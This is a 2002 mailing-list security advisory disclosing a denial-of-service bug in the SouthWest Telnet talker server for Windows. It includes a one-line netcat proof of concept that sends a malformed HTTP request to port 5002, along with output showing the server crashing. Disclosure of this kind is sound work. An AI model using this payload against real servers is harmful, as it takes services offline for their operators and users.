SouthWest Telnet talker server. DoS (Denial of Service Attack).

From: Alex Hernandez (alex_hernandezat_private)
Date: Mon Mar 25 2002 - 17:59:20 PST

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    ------oOo------
    SouthWest free Telnet talker server. DoS (Denial of Service 
    Attack).
    ------oOo------
    
    Company Affected: Scott Lloyd
    Version: v1.0.0
    Size: 2.74 MB
    OS Affected: : Windows ALL.
    
    Author:
    
    ** Alex Hernandez <alex_hernandezat_private>
    ** Thanks all the people from Spain and Argentina.
    ** Special Greets: White-B, Pablo S0r, Paco Spain, G.Maggiotti.
    
    
    ----=[Brief Description]=------------
     
    SouthWest is a free Telnet talker server for Windows. It 
    includes full ANSI color support, 
    a help system, an intuitive interface, and speed optimizations. 
    Free, full source code is 
    available at the company's Web site. 
    
    ----=[Summary]=----------------------
    
    The server is very similar to the IRC, this server by default 
    opens the following ports:
    
    *Main socket initialized and listen on port 5000.
    *Netlink socket initialized and listen on port 5001.
    *HTTP server initialized and listen port 5002.
    
    The bug is on port 5002, when requesting answer on remote user 
    via HTTP for any user
    connected and crash the system.
    
    
    ------oOo------
    Proof of concept
    
    
    Example:
    
    
    DoS
    
    $ printf "GET /&Alex" |nc -vvn 127.0.0.1 5002
    (UNKNOWN) [127.0.0.1] 5002 (?) open
    sent 10, rcvd 0: NOTSOCK
    
    $ nc -vvn 127.0.0.1 5002
    (UNKNOWN) [127.0.0.1] 5002 (?): connection refused
    sent 0, rcvd 0: NOTSOCK
    
    $ nc -vvn 127.0.0.1 5000
    (UNKNOWN) [127.0.0.1] 5000 (?): connection refused
    sent 0, rcvd 0: NOTSOCK
    
    $ nc -vvn 127.0.0.1 5001
    (UNKNOWN) [127.0.0.1] 5000 (?): connection refused
    sent 0, rcvd 0: NOTSOCK
    
    
    Crash system and the admin need restart the service!.
    
    
    
    U can see this on Screen
    
    
    [...]
    Room: Hallway
    
    You are in the hallway. The large front door leads out to the 
    drive whilst
    another smaller door leads into the wizards room. A corridor 
    leads deeper
    into the mansion.
    
    Exits are: Drive  Wizroom  Corridor
    Netlinks are: Cyber City
    
    You are all alone here
    
    Access is fixed to PUBLIC and there are 0 messages on the board.
    Current topic: Topic has not been set
    You say: Hello!
    You say: Friends
    You say: crash the system .....
    
    
    Connection to host lost.
    
    [...]
    
    C:\>
    
    
    
    
    ------oOo------------------------------------
    Vendor Response:
    The vendor was notified
    southwestat_private
    http://someplaceelse.dynip.com/southwest/
    Patch Temporary: No data of vendor.
    
    Alex Hernandez <alex_hernandezat_private> (c) 2002.
    
    ------oOo------------------------------------
    
    
    
    
    
    
    ________________________________________________
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